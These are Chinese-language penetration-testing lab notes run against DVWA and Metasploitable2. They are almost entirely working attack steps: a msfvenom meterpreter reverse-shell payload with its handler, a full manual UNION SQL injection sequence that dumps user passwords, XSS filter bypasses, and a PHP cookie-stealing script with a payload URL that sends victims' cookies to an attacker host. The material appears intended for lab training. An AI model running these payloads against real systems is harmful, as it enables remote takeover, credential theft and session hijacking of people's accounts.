1.使用meterpreter进行windows远程控制
kali
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.67.128 lport=5000 -f exe -o /var/payload.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.67.128
set lport 5000
exploit
windows
pwd
mkdir attacker
dir
upload /var/payload.exe C:\\Users\\KiriSoyer\\Desktop\\attack
2.手动mysql注入
Metasploitable2-Linux
2.1 进入DVWA界面
2.2 修改DVWA Security为“Low”
2.3 SQL Injection 测试
select firstname,surname from users where id = '{}';
1
1‘
1''
1'#
1'--+
2.4 构造payload
1' order by 1#
1' order by 2#
1' order by 3#
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
// 获取信息
1' union select database(),user()#
-1' union select database(),user()#
-1' union select version(),@@version_compile_os#
-1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
-1' union select column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#
-1' union select user,password from users#
3.反弹型XSS攻防
Win7-1(安装好WampServer)
Win7-2
Metasploitable2-Linux
3.1 设置DVWA Security为“Low” 打开XSS(Reflected)
输入 单击submit
<script>alert('xss')</script>
3.2 设置DVWA Security为“Medium” 打开XSS(Reflected)
// 使用 str_replace 函数将输入中的”<script>“替换为空
// 方法1:双写绕过
<sc<script>ript>alert(xss)</script>
// 方法二:大小写混淆绕过
<ScRipt>alert(xss)</script>
3.3 设置DVWA Security为“High” 打开XSS(Reflected)
<img src=1 onerror=alert(document.cookie)>
3.4 获取管理员权限
在Win7-1(攻击机)的C:\wamp\www 目录下新建一个文件 xss_hacker.php
<?php
$cookie=$_GET['cookie'];
$ip=getenv('REMOTE_ADDR');
$fp=fopen('cookie.txt','a');
fwrite($fp,"IP:".$ip." | Cookie:".$cookie."\r\n");
fclose($fp);
echo('攻击成功');
?>
在Win7-1中使用普通用户登录 gordonb 密码 abc123
设置DVWA Security为“Low” 打开XSS(Reflected)输入
<script>window.open("http://192.168.67.101/xss_hacker.php?cookie="+document.cookie);</script>
// 获得反射性URL
http://192.168.67.130/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.open%28%22http%3A%2F%2F192.168.67.101%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E#
在Win7-2(受害主机)中打开DVWA主页 以管理员admin登陆系统